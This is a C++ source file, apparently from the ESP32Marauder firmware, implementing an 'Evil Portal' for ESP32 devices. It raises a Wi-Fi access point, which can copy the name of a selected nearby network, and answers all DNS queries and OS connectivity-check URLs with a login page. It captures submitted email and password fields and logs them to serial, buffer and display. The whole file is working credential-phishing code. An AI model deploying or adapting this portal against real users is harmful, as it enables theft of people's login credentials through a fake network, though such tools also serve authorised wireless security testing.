mirror of
https://github.com/justcallmekoko/ESP32Marauder.git
synced 2025-12-05 20:40:25 -08:00
395 lines
11 KiB
C++
395 lines
11 KiB
C++
#include "EvilPortal.h"
|
|
|
|
#ifdef HAS_PSRAM
|
|
char* index_html = nullptr;
|
|
#endif
|
|
|
|
AsyncWebServer server(80);
|
|
|
|
EvilPortal::EvilPortal() {
|
|
}
|
|
|
|
void EvilPortal::setup() {
|
|
this->runServer = false;
|
|
this->name_received = false;
|
|
this->password_received = false;
|
|
this->has_html = false;
|
|
this->has_ap = false;
|
|
|
|
html_files = new LinkedList<String>();
|
|
|
|
#ifdef HAS_SD
|
|
if (sd_obj.supported) {
|
|
sd_obj.listDirToLinkedList(html_files, "/", "html");
|
|
|
|
Serial.println("Evil Portal Found " + (String)html_files->size() + " HTML files");
|
|
}
|
|
#endif
|
|
}
|
|
|
|
void EvilPortal::cleanup() {
|
|
this->ap_index = -1;
|
|
|
|
#ifdef HAS_PSRAM
|
|
free(index_html);
|
|
index_html = nullptr;
|
|
#endif
|
|
}
|
|
|
|
bool EvilPortal::begin(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points) {
|
|
if (!this->has_ap) {
|
|
if (!this->setAP(ssids, access_points))
|
|
return false;
|
|
}
|
|
if (!this->setHtml())
|
|
return false;
|
|
|
|
startPortal();
|
|
|
|
return true;
|
|
}
|
|
|
|
String EvilPortal::get_user_name() {
|
|
return this->user_name;
|
|
}
|
|
|
|
String EvilPortal::get_password() {
|
|
return this->password;
|
|
}
|
|
|
|
void EvilPortal::setupServer() {
|
|
#ifndef HAS_PSRAM
|
|
server.on("/", HTTP_GET, [this](AsyncWebServerRequest *request) {
|
|
request->send_P(200, "text/html", index_html);
|
|
Serial.println("client connected");
|
|
#ifdef HAS_SCREEN
|
|
this->sendToDisplay("Client connected to server");
|
|
#endif
|
|
});
|
|
#else
|
|
server.on("/", HTTP_GET, [this](AsyncWebServerRequest *request) {
|
|
request->send(200, "text/html", index_html);
|
|
Serial.println("client connected");
|
|
#ifdef HAS_SCREEN
|
|
this->sendToDisplay("Client connected to server");
|
|
#endif
|
|
});
|
|
#endif
|
|
|
|
const char* captiveEndpoints[] = {
|
|
"/hotspot-detect.html",
|
|
"/library/test/success.html",
|
|
"/success.txt",
|
|
"/generate_204",
|
|
"/gen_204",
|
|
"/ncsi.txt",
|
|
"/connecttest.txt",
|
|
"/redirect"
|
|
};
|
|
|
|
for (int i = 0; i < sizeof(captiveEndpoints) / sizeof(captiveEndpoints[0]); i++) {
|
|
|
|
#ifndef HAS_PSRAM
|
|
server.on(captiveEndpoints[i], HTTP_GET, [this](AsyncWebServerRequest *request){
|
|
request->send_P(200, "text/html", index_html);
|
|
});
|
|
#else
|
|
server.on(captiveEndpoints[i], HTTP_GET, [this](AsyncWebServerRequest *request){
|
|
request->send(200, "text/html", index_html);
|
|
});
|
|
#endif
|
|
}
|
|
|
|
server.on("/get-ap-name", HTTP_GET, [this](AsyncWebServerRequest *request) {
|
|
request->send(200, "text/plain", WiFi.softAPSSID());
|
|
});
|
|
|
|
server.on("/get", HTTP_GET, [this](AsyncWebServerRequest *request) {
|
|
String inputMessage;
|
|
String inputParam;
|
|
|
|
if (request->hasParam("email")) {
|
|
inputMessage = request->getParam("email")->value();
|
|
inputParam = "email";
|
|
this->user_name = inputMessage;
|
|
this->name_received = true;
|
|
}
|
|
|
|
if (request->hasParam("password")) {
|
|
inputMessage = request->getParam("password")->value();
|
|
inputParam = "password";
|
|
this->password = inputMessage;
|
|
this->password_received = true;
|
|
}
|
|
request->send(
|
|
200, "text/html",
|
|
"<html><head><script>setTimeout(() => { window.location.href ='/' }, 100);</script></head><body></body></html>");
|
|
});
|
|
}
|
|
|
|
void EvilPortal::setHtmlFromSerial() {
|
|
Serial.println("Setting HTML from serial...");
|
|
const char *htmlStr = Serial.readString().c_str();
|
|
#ifdef HAS_PSRAM
|
|
index_html = (char*) ps_malloc(MAX_HTML_SIZE);
|
|
#endif
|
|
strlcpy(index_html, htmlStr, strlen(htmlStr));
|
|
#ifdef HAS_PSRAM
|
|
index_html[MAX_HTML_SIZE - 1] = '\0';
|
|
#endif
|
|
this->has_html = true;
|
|
this->using_serial_html = true;
|
|
Serial.println("html set");
|
|
}
|
|
|
|
bool EvilPortal::setHtml() {
|
|
if (this->using_serial_html) {
|
|
Serial.println("html previously set");
|
|
return true;
|
|
}
|
|
Serial.println("Setting HTML...");
|
|
#ifdef HAS_SD
|
|
File html_file = sd_obj.getFile("/" + this->target_html_name);
|
|
#else
|
|
File html_file;
|
|
#endif
|
|
if (!html_file) {
|
|
#ifdef HAS_SCREEN
|
|
this->sendToDisplay("Could not find /" + this->target_html_name);
|
|
this->sendToDisplay("Touch to exit...");
|
|
#endif
|
|
Serial.println("Could not find /" + this->target_html_name + ". Use stopscan...");
|
|
return false;
|
|
}
|
|
else {
|
|
if (html_file.size() > MAX_HTML_SIZE) {
|
|
#ifdef HAS_SCREEN
|
|
this->sendToDisplay("The given HTML is too large.");
|
|
this->sendToDisplay("The Byte limit is " + (String)MAX_HTML_SIZE);
|
|
this->sendToDisplay("Touch to exit...");
|
|
#endif
|
|
Serial.println("The provided HTML is too large. Byte limit is " + (String)MAX_HTML_SIZE + "\nUse stopscan...");
|
|
return false;
|
|
}
|
|
String html = "";
|
|
while (html_file.available()) {
|
|
char c = html_file.read();
|
|
if (isPrintable(c))
|
|
html.concat(c);
|
|
}
|
|
#ifdef HAS_PSRAM
|
|
index_html = (char*) ps_malloc(MAX_HTML_SIZE);
|
|
#endif
|
|
strlcpy(index_html, html.c_str(), strlen(html.c_str()));
|
|
#ifdef HAS_PSRAM
|
|
index_html[MAX_HTML_SIZE - 1] = '\0';
|
|
#endif
|
|
this->has_html = true;
|
|
Serial.println("html set");
|
|
html_file.close();
|
|
return true;
|
|
}
|
|
|
|
}
|
|
|
|
bool EvilPortal::setAP(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points) {
|
|
// See if there are selected APs first
|
|
int targ_ap_index = -1;
|
|
String ap_config = "";
|
|
String temp_ap_name = "";
|
|
for (int i = 0; i < access_points->size(); i++) {
|
|
if (access_points->get(i).selected) {
|
|
temp_ap_name = access_points->get(i).essid;
|
|
targ_ap_index = i;
|
|
break;
|
|
}
|
|
}
|
|
// If there are no SSIDs and there are no APs selected, pull from file
|
|
// This means the file is last resort
|
|
if ((ssids->size() <= 0) && (temp_ap_name == "")) {
|
|
#ifdef HAS_SD
|
|
File ap_config_file = sd_obj.getFile("/ap.config.txt");
|
|
#else
|
|
File ap_config_file;
|
|
#endif
|
|
// Could not open config file. return false
|
|
if (!ap_config_file) {
|
|
#ifdef HAS_SCREEN
|
|
this->sendToDisplay("Could not find /ap.config.txt.");
|
|
this->sendToDisplay("Touch to exit...");
|
|
#endif
|
|
Serial.println("Could not find /ap.config.txt. Use stopscan...");
|
|
return false;
|
|
}
|
|
// Config file good. Proceed
|
|
else {
|
|
// ap name too long. return false
|
|
if (ap_config_file.size() > MAX_AP_NAME_SIZE) {
|
|
#ifdef HAS_SCREEN
|
|
this->sendToDisplay("The given AP name is too large.");
|
|
this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE);
|
|
this->sendToDisplay("Touch to exit...");
|
|
#endif
|
|
Serial.println("The provided AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan...");
|
|
return false;
|
|
}
|
|
// AP name length good. Read from file into var
|
|
while (ap_config_file.available()) {
|
|
char c = ap_config_file.read();
|
|
Serial.print(c);
|
|
if (isPrintable(c)) {
|
|
ap_config.concat(c);
|
|
}
|
|
}
|
|
#ifdef HAS_SCREEN
|
|
this->sendToDisplay("AP name from config file");
|
|
this->sendToDisplay("AP name: " + ap_config);
|
|
#endif
|
|
Serial.println("AP name from config file: " + ap_config);
|
|
ap_config_file.close();
|
|
}
|
|
}
|
|
// There are SSIDs in the list but there could also be an AP selected
|
|
// Priority is SSID list before AP selected and config file
|
|
else if (ssids->size() > 0) {
|
|
ap_config = ssids->get(0).essid;
|
|
if (ap_config.length() > MAX_AP_NAME_SIZE) {
|
|
#ifdef HAS_SCREEN
|
|
this->sendToDisplay("The given AP name is too large.");
|
|
this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE);
|
|
this->sendToDisplay("Touch to exit...");
|
|
#endif
|
|
Serial.println("The provided AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan...");
|
|
return false;
|
|
}
|
|
#ifdef HAS_SCREEN
|
|
this->sendToDisplay("AP name from SSID list");
|
|
this->sendToDisplay("AP name: " + ap_config);
|
|
#endif
|
|
Serial.println("AP name from SSID list: " + ap_config);
|
|
}
|
|
else if (temp_ap_name != "") {
|
|
if (temp_ap_name.length() > MAX_AP_NAME_SIZE) {
|
|
#ifdef HAS_SCREEN
|
|
this->sendToDisplay("The given AP name is too large.");
|
|
this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE);
|
|
this->sendToDisplay("Touch to exit...");
|
|
#endif
|
|
Serial.println("The given AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan...");
|
|
}
|
|
else {
|
|
ap_config = temp_ap_name;
|
|
#ifdef HAS_SCREEN
|
|
this->sendToDisplay("AP name from AP list");
|
|
this->sendToDisplay("AP name: " + ap_config);
|
|
#endif
|
|
Serial.println("AP name from AP list: " + ap_config);
|
|
}
|
|
}
|
|
else {
|
|
Serial.println("Could not configure Access Point. Use stopscan...");
|
|
#ifdef HAS_SCREEN
|
|
this->sendToDisplay("Could not configure Access Point.");
|
|
this->sendToDisplay("Touch to exit...");
|
|
#endif
|
|
}
|
|
|
|
if (ap_config != "") {
|
|
strncpy(apName, ap_config.c_str(), MAX_AP_NAME_SIZE);
|
|
this->has_ap = true;
|
|
Serial.println("ap config set");
|
|
this->ap_index = targ_ap_index;
|
|
return true;
|
|
}
|
|
else
|
|
return false;
|
|
|
|
}
|
|
|
|
bool EvilPortal::setAP(String essid) {
|
|
if (essid == "")
|
|
return false;
|
|
|
|
if (essid.length() > MAX_AP_NAME_SIZE) {
|
|
return false;
|
|
}
|
|
|
|
strncpy(apName, essid.c_str(), MAX_AP_NAME_SIZE);
|
|
this->has_ap = true;
|
|
Serial.println("ap config set");
|
|
return true;
|
|
}
|
|
|
|
void EvilPortal::startAP() {
|
|
const IPAddress AP_IP(172, 0, 0, 1);
|
|
|
|
Serial.print("starting ap ");
|
|
Serial.println(apName);
|
|
|
|
WiFi.mode(WIFI_AP);
|
|
WiFi.softAPConfig(AP_IP, AP_IP, IPAddress(255, 255, 255, 0));
|
|
WiFi.softAP(apName);
|
|
|
|
#ifdef HAS_SCREEN
|
|
this->sendToDisplay("AP started");
|
|
#endif
|
|
|
|
Serial.print("ap ip address: ");
|
|
Serial.println(WiFi.softAPIP());
|
|
|
|
this->setupServer();
|
|
|
|
Serial.println("Server endpoints configured");
|
|
|
|
this->dnsServer.start(53, "*", WiFi.softAPIP());
|
|
Serial.println("DNS Server started");
|
|
server.addHandler(new CaptiveRequestHandler()).setFilter(ON_AP_FILTER);
|
|
Serial.println("Captive Portal handler started");
|
|
server.begin();
|
|
Serial.println("Server started");
|
|
#ifdef HAS_SCREEN
|
|
this->sendToDisplay("Evil Portal READY");
|
|
#endif
|
|
}
|
|
|
|
void EvilPortal::startPortal() {
|
|
// wait for flipper input to get config index
|
|
this->startAP();
|
|
|
|
this->runServer = true;
|
|
}
|
|
|
|
void EvilPortal::sendToDisplay(String msg) {
|
|
#ifdef HAS_SCREEN
|
|
String display_string = "";
|
|
display_string.concat(msg);
|
|
int temp_len = display_string.length();
|
|
for (int i = 0; i < 40 - temp_len; i++)
|
|
{
|
|
display_string.concat(" ");
|
|
}
|
|
display_obj.loading = true;
|
|
display_obj.display_buffer->add(display_string);
|
|
display_obj.loading = false;
|
|
#endif
|
|
}
|
|
|
|
void EvilPortal::main(uint8_t scan_mode) {
|
|
if ((scan_mode == WIFI_SCAN_EVIL_PORTAL) && (this->has_ap) && (this->has_html)){
|
|
this->dnsServer.processNextRequest();
|
|
if (this->name_received && this->password_received) {
|
|
this->name_received = false;
|
|
this->password_received = false;
|
|
String logValue1 =
|
|
"u: " + this->user_name;
|
|
String logValue2 = "p: " + this->password;
|
|
String full_string = logValue1 + " " + logValue2 + "\n";
|
|
Serial.print(full_string);
|
|
buffer_obj.append(full_string);
|
|
#ifdef HAS_SCREEN
|
|
this->sendToDisplay(full_string);
|
|
#endif
|
|
}
|
|
}
|
|
}
|